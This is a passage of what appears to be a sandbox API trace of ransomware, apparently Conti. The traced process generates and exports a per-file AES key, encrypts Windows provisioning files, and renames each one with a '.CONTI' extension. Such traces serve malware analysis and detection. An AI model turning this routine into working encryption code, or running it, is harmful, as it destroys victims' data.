	[0107.854] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.854] WriteFile (in: hFile=0x398, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.854] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.854] WriteFile (in: hFile=0x398, lpBuffer=0x17d5b00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x17d5b00*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0107.854] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.854] CloseHandle (hObject=0x398) returned 1
	[0107.854] GetProcessHeap () returned 0x1720000
	[0107.854] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.854] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml"
	[0107.855] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.CONTI"
	[0107.855] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml.conti")) returned 1
	[0107.855] GetProcessHeap () returned 0x1720000
	[0107.855] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.855] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0107.855] GetProcessHeap () returned 0x1720000
	[0107.855] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca5d0 | out: hHeap=0x1720000) returned 1
	[0107.855] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0107.855] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17d2fb0 | out: phKey=0x17d2fb0*=0x17c8330) returned 1
	[0107.855] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2fb4, pdwDataLen=0x5affca4 | out: pbData=0x17d2fb4*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0107.856] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0107.856] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0107.857] GetLastError () returned 0x0
	[0107.857] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=720) returned 1
	[0107.857] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0107.857] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.857] SetEndOfFile (hFile=0x398) returned 1
	[0107.857] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.857] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.857] WriteFile (in: hFile=0x398, lpBuffer=0x17d2fb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x17d2fb4*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.859] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.859] ReadFile (in: hFile=0x398, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.859] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2d0, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2e0) returned 1
	[0107.859] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.859] WriteFile (in: hFile=0x398, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2e0, lpOverlapped=0x0) returned 1
	[0107.859] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.859] WriteFile (in: hFile=0x398, lpBuffer=0x17d2fa8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x17d2fa8*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0107.859] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.859] CloseHandle (hObject=0x398) returned 1
	[0107.860] GetProcessHeap () returned 0x1720000
	[0107.860] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.860] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml"
	[0107.860] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.CONTI"
	[0107.860] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0107.861] GetProcessHeap () returned 0x1720000
	[0107.861] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.861] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0107.861] GetProcessHeap () returned 0x1720000
	[0107.861] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1110 | out: hHeap=0x1720000) returned 1
	[0107.861] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0107.861] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17d31f8 | out: phKey=0x17d31f8*=0x17c8330) returned 1
	[0107.861] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d31fc, pdwDataLen=0x5affca4 | out: pbData=0x17d31fc*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0107.862] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.862] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0107.862] GetLastError () returned 0x0
	[0107.862] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=730) returned 1
	[0107.862] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2da
	[0107.862] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.862] SetEndOfFile (hFile=0x398) returned 1
	[0107.862] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.862] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.862] WriteFile (in: hFile=0x398, lpBuffer=0x17d31fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x17d31fc*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.864] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.864] ReadFile (in: hFile=0x398, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2da, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2da, lpOverlapped=0x0) returned 1
	[0107.864] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2da, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2e0) returned 1
	[0107.864] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.865] WriteFile (in: hFile=0x398, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2e0, lpOverlapped=0x0) returned 1
	[0107.865] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.865] WriteFile (in: hFile=0x398, lpBuffer=0x17d31f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x17d31f0*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0107.865] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.865] CloseHandle (hObject=0x398) returned 1
	[0107.865] GetProcessHeap () returned 0x1720000
	[0107.865] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.865] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml"
	[0107.865] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.865] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.866] GetProcessHeap () returned 0x1720000
	[0107.866] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.866] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0107.866] GetProcessHeap () returned 0x1720000
	[0107.866] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0bb0 | out: hHeap=0x1720000) returned 1
	[0107.866] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0107.866] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17d38d0 | out: phKey=0x17d38d0*=0x17c84f0) returned 1
	[0107.866] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d38d4, pdwDataLen=0x5affca4 | out: pbData=0x17d38d4*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0107.867] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0107.867] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0107.867] GetLastError () returned 0x0
	[0107.867] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=735) returned 1
	[0107.867] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2df
	[0107.867] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.867] SetEndOfFile (hFile=0x398) returned 1
	[0107.867] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.867] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.867] WriteFile (in: hFile=0x398, lpBuffer=0x17d38d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x17d38d4*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0108.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.337] ReadFile (in: hFile=0x398, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2df, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2df, lpOverlapped=0x0) returned 1
	[0108.337] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2df, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2e0) returned 1
	[0108.337] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.337] WriteFile (in: hFile=0x398, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2e0, lpOverlapped=0x0) returned 1
	[0108.337] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.337] WriteFile (in: hFile=0x398, lpBuffer=0x17d38c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x17d38c8*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0108.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.337] CloseHandle (hObject=0x398) returned 1
	[0108.472] GetProcessHeap () returned 0x1720000
	[0108.472] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fd428
	[0108.472] lstrcpyW (in: lpString1=0x17fd428, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml"
	[0108.472] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.CONTI"
	[0108.472] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0108.578] GetProcessHeap () returned 0x1720000
	[0108.578] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fd428 | out: hHeap=0x1720000) returned 1
	[0108.578] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0108.578] GetProcessHeap () returned 0x1720000
	[0108.578] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1268 | out: hHeap=0x1720000) returned 1
	[0108.578] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0108.967] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65142d0 | out: phKey=0x65142d0*=0x17c7ef0) returned 1
	[0108.967] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65142d4, pdwDataLen=0x5affca4 | out: pbData=0x65142d4*, pdwDataLen=0x5affca4*=0x20c) returned 1
